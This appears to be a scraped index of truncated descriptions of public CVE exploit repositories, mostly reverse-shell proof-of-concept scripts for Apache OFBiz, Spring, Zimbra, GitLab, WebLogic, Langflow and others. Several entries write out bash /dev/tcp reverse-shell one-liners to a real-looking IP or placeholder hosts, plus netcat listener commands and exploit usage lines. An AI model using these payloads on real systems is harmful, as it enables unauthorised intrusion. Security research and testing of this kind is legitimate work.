cve-2023-51467

针对 CVE-2023-51467 的 Go 漏洞利用程序 该仓库包含一个针对 Apache OFBiz CVE-2023-51467 的 Go 漏洞利用程序。该实现包含目标验证、版本扫描器，以及一个基于内存 Nashorn 的反向 Shell 作为载荷（要求所使用的 Java 支持 Nashorn）。武器化过程详见 VulnCheck 博客。 编译 你可以使用 makefile 来构建一个 Docker 容器： root@kitploit: make docker 或者，如果你已经准备好 Go 构建环境，直接使用 make： root@kitploit:...

CVE-2022-22965-poc

CVE-2022-22965 poc CVE-2022-22965 poc que incluye soporte de reverse-shell y contraseña. Siéntete libre de añadir más cosas : ¿Cómo probarlo? root@kitploit: $ docker run -p 9090:8080 vulfocus/spring-core-rce-2022-03-29 run vulnerable docker $ python3 exploit.py -c id --password 1234 --shellname...

CVE-2022-1388

CVE-2022-1388 RCE, Reverse Shell y exportación automática de PCAP -- SOLO PARA USO EDUCATIVO -- El autor no es responsable ni se le puede exigir responsabilidad por cualquier acción realizada con cualquier aspecto de este proyecto/repositorio. Lo creé con el propósito de comprender el ataque y...

CVE-2023-30547

CVE-2023-30547 这是针对CVE-2023-30547（https://nvd.nist.gov/vuln/detail/CVE-2023-30547）的概念验证（PoC）。我在一次CTF比赛中创建了这个PoC。 用法 root@kitploit: CVE-2023-30547 PoC -h --url URL --lhost LHOST --lport LPORT 针对vm2漏洞CVE-2023-30547的PoC 选项: -h, --help 显示此帮助信息并退出 --url URL 目标URL --lhost LHOST 本地主机的IP用于反弹shell --lport...

Node.js-CVE-2017-5941

NodeJS 不安全反序列化漏洞演示 Node.js 是一个开源运行时环境，用于在 JavaScript 中实现服务器功能。 Node.js 中的一个特定软件包包含一个处理反序列化的易受攻击函数，如果客户端提供特制的 cookie，该函数会导致执行未授权命令。 该漏洞已被复现，并可能发起反向 shell，这是由于从客户端请求的 cookie 中读取的未净化输入数据所致。客户端可以编辑其 cookie，注入包含 bash 命令的不安全载荷，并将其发送到服务器，服务器将盲目执行该命令。这可能导致未经授权的用户访问数据库或整个机器。...

CVE-2022-27925-Revshell

Zimbra 未认证远程代码执行漏洞利用 CVE-2022-27925 root@kitploit: / / / / / / / / / / / / / // / / / / / / // / / / // / //// // //.// ,/ CVE-2022-27925 usage: exp.py -h -t TARGET -m MASS -l LHOST -p LPORT options: -h, --help show this help message and exit -t TARGET, --target TARGET URl with protocol HTTPS -m...

CVE-2022-0944

CVE-2022-0944 PoC SQLPad 中 RCE 的 PoC。 此示例会生成一个反向 Shell，但可以通过修改 payload 中 'exec' 调用内的命令，使 payload 运行任何可用命令。 payload = f" process.mainModule.require'childprocess'.exec'/bin/bash -c "bash -i & /dev/tcp/reversehost/reverseport 0&1"' " 环境要求 Python 3 使用方法 1. 启动监听器 root@kitploit:...

CVE-2023-30258-magnus-billing-v7-exploit

Magnus Billing System v7 漏洞利用脚本 该 Python 脚本可自动化利用 Magnus Billing System v7 中的命令注入漏洞，该漏洞位于 /mbilling/lib/icepay/icepay.php 脚本的 icepay.php 中。利用程序通过 democ 参数在目标系统上执行任意命令，最终在攻击者控制的机器上建立反向 shell。 漏洞概述 该漏洞允许未认证的攻击者通过精心构造的 GET 请求进行命令注入。原始概念验证（PoC）使用了以下 curl 命令： root@kitploit: curl -s...

RCE-CVE-2025-3248

需认证的 CVE-2025-3248 Langflow 远程代码执行 该 Python 脚本利用 CVE-2025-3248 在易受攻击的系统上执行任意命令或生成反向 shell。 使用此漏洞利用需要身份认证 。 功能 已认证的命令执行： 在目标上运行任意系统命令。 反向 Shell： 向你的监听器生成反向 shell。 代理支持： 通过代理（例如 Burp Suite）转发请求。 环境要求 Python 3.x requests 库 使用以下命令安装依赖： root@kitploit: pip install requests 用法 root@kitploit: python3...

cve-2021-31630

cve-2021-31630 OpenPLC WebServer v3 - 认证后的 RCE 此 PoC 脚本基于 Fellipe Oliveira 提供的漏洞利用代码。 功能 : 直接将 C 代码上传到 /hardware，而非 st 文件上传 在上传反向 shell 之前恢复默认程序 改进的基于 C 的反向 shell，非阻塞 ，因此 Web 服务器不会挂起 ; 在后台生成 shell，即使 PLC 已停止也仍可运行，直到退出 清理 root@kitploit: $ python cve202131630.py -lh 10.10.16.68 -lp 4444...

CVE-2023-42791_CVE-2024-23666

Fortimanager 授权检查不足 CVE-2024-23666 与无限制文件上传 CVE-2023-42791 利用脚本 提供两个利用这些漏洞的脚本： rce.py：从低权限访问 FortiManager 获得反向 Shell 或添加任意管理员。 ManagerGate.py：允许连接到远程管理的 FortiGate SSH 服务。仍需要 SSH 密码，但可从 FortiManager 配置备份中找到。...

CVE-2024-55963

CVE‑2024‑55963 Appsmith RCE PoC 针对 CVE‑2024‑55963 的 PoC 漏洞利用，可在受影响的 Appsmith 实例上执行任意命令或生成反弹 shell。 它自动兼容现代服务器（具备 environmentId 功能）以及早于该功能的“旧版”构建，因此一个脚本即可覆盖从 v1.20 到最后一个受影响版本 v1.51 的所有版本。 快速开始 root@kitploit: Run an arbitrary command default is id python3 appsmith-rce.py https://target.example.com...

CVE-2023-28343

CVE-2023-28343 CVE-2023-28343 POC 漏洞利用 用法 root@kitploit: usage: exploit.py -h -t TARGET -l LOCALHOST -p LOCALPORT optional arguments: -h, --help show this help message and exit -t TARGET, --target TARGET Target url, http://localhost:9000 -l LOCALHOST, --localhost LOCALHOST Local IP address for...

CVE-2022-30525

CVE-2022-30525 CVE-2022-30525 POC 漏洞利用说明 用法 root@kitploit: usage: exploit.py -h -t TARGET -lhost LOCALHOST -lport LOCALPORT optional arguments: -h, --help 显示此帮助信息并退出 -t TARGET, --target TARGET 目标 IP 地址，例如：https://127.0.0.1:9443 -lhost LOCALHOST, --localhost LOCALHOST 用于反弹 Shell 的 IP 地址，例如：127.0.0...

CVE-2025-49844-RediShell-AI-made-Revshell

CVE-2025-49844 RediShell AI制作的Revshell PoC 未经测试的AI制作的Redishell PoC完成版。 原始PoC: https://github.com/raminfp/redisexploit/blob/main/exploitpoc.py 韩国片段: https://github.com/dwisiswant0/CVE-2025-49844/blob/master/CVE-2025-49844.lua 进度？...

CVE-2021-22205-getshell

CVE-2021-22205-getshell CVE-2021-22205-getshell 测试版本 构造生成漏洞利用的命令 root@kitploit: echo 'bash -i & /dev/tcp/192.168.147.5/4444 0&1' /tmp/1.sh chmod +x /tmp/1.sh /bin/bash /tmp/1.sh 利用djvumake生成漏洞利用的图片 root@kitploit: import os payloads= "echo 'bash -i & /dev/tcp/192.168.147.5/4444 0&1' /tmp/1.sh",...

CVE-2021-21425

CVE-2021-21425 来源：https://www.exploit-db.com/exploits/49973 1 更改目标IP 2 更改有效载荷 echo -ne "bash -i & /dev/tcp/OUR-IP/80 0&1" | base64 -w0 3 sudo nc -lvnp 80 4 python3 exploit.py...

CVE-2024-32651-changedetection-RCE

CVE-2024-32651 changedetection 0.45.20 - 远程代码执行 RCE 服务端模板注入漏洞利用！！ 1. 标题 通过服务端模板注入（SSTI）在易受攻击的Web应用中实现远程代码执行 2. 描述 此利用脚本针对易受服务端模板注入（SSTI）攻击的Web应用。攻击者可通过利用该漏洞在服务器上执行任意命令。所提供的Python脚本通过提交触发反向Shell的有效载荷来自动化利用过程。 3. 漏洞信息 1. CVE ID: CVE-2024-32651 2. 受影响系统: 使用服务端模板注入（SSTI）且具有易受攻击配置的Web应用。 4. 概念验证...

Spring-Cloud-Function-Vulnerability-CVE-2022-22963-RCE

Spring Cloud Function 漏洞 CVE-2022-22963 RCE 这是 Spring4Shell CVE-2022-22963 的 Python 实现，影响运行 Spring Cloud Function =3.1.6（3.1.x 版本）和 =3.2.2（3.2.x 版本）的服务。 结合了多个网上公开的 POC 作者: Randall Banner 日期: 17/04/23 描述: 脚本会在当前目录创建 shell.sh，其中包含一个简单的 bash 反向 shell 单行命令。然后启动一个 Web 服务器，通过 wget 将其提供给受害目标（输出到 /dev/sh...

CVE-2018-2893

CVE-2018-2893 可以直接反弹shell Usage 监听 root@kitploit: nc -lvvp reverseport 发送payload root@kitploit: python weblogic.py targethost targetport reversehost reverseport Reffer bigsizeme pyn3rd 说明 仅用于测试和交流学习，勿作他用...